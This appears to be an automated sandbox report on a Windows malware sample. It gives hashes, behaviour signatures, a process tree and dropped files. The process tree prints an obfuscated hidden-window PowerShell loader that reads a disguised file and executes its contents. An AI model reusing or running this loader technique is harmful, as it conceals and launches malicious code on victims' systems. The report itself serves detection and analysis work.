Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-08-2024 01:12

General

  • Target

    4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe

  • Size

    626KB

  • MD5

    9be2bb8f46192a7cf7006587c0e95d54

  • SHA1

    9e31f25cd0c0cf37a92a61ebd87293b519da5534

  • SHA256

    4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940

  • SHA512

    76140dd7bcfdb778b70c4864934016b9cbc60b4f36ece6aa671c6556f1504d38e3428102663c47ffa8346e2201078a28443a0b42be0c6b7e820f6823cab4810b

  • SSDEEP

    12288:naxvaBAHu5sn0ulSRNQeILTPNRLZi8s7exFe2WM:a9aBAObRNVI/PNxzxFMM

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe
    "C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3516
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2220
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 2644
        3⤵
        • Program crash
        PID:1672
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2220 -ip 2220
    1⤵
      PID:2644

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys

      Filesize

      52KB

      MD5

      d9a344e48210c5d555312be94347270a

      SHA1

      8e1957cb5f8e181411781bca9fa72f57e8d0d2b1

      SHA256

      e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6

      SHA512

      ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5dtna2xi.uds.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2220-9-0x0000000073AB0000-0x0000000074260000-memory.dmp

      Filesize

      7.7MB

    • memory/2220-24-0x0000000006230000-0x000000000627C000-memory.dmp

      Filesize

      304KB

    • memory/2220-5-0x0000000073ABE000-0x0000000073ABF000-memory.dmp

      Filesize

      4KB

    • memory/2220-10-0x0000000005A60000-0x0000000005A82000-memory.dmp

      Filesize

      136KB

    • memory/2220-11-0x0000000005B00000-0x0000000005B66000-memory.dmp

      Filesize

      408KB

    • memory/2220-12-0x0000000005B70000-0x0000000005BD6000-memory.dmp

      Filesize

      408KB

    • memory/2220-8-0x0000000005430000-0x0000000005A58000-memory.dmp

      Filesize

      6.2MB

    • memory/2220-22-0x0000000005BE0000-0x0000000005F34000-memory.dmp

      Filesize

      3.3MB

    • memory/2220-23-0x0000000006160000-0x000000000617E000-memory.dmp

      Filesize

      120KB

    • memory/2220-7-0x0000000073AB0000-0x0000000074260000-memory.dmp

      Filesize

      7.7MB

    • memory/2220-25-0x00000000073D0000-0x0000000007466000-memory.dmp

      Filesize

      600KB

    • memory/2220-26-0x0000000006710000-0x000000000672A000-memory.dmp

      Filesize

      104KB

    • memory/2220-27-0x0000000006760000-0x0000000006782000-memory.dmp

      Filesize

      136KB

    • memory/2220-28-0x0000000007A20000-0x0000000007FC4000-memory.dmp

      Filesize

      5.6MB

    • memory/2220-6-0x0000000002C30000-0x0000000002C66000-memory.dmp

      Filesize

      216KB

    • memory/2220-30-0x0000000008650000-0x0000000008CCA000-memory.dmp

      Filesize

      6.5MB

    • memory/2220-32-0x0000000073AB0000-0x0000000074260000-memory.dmp

      Filesize

      7.7MB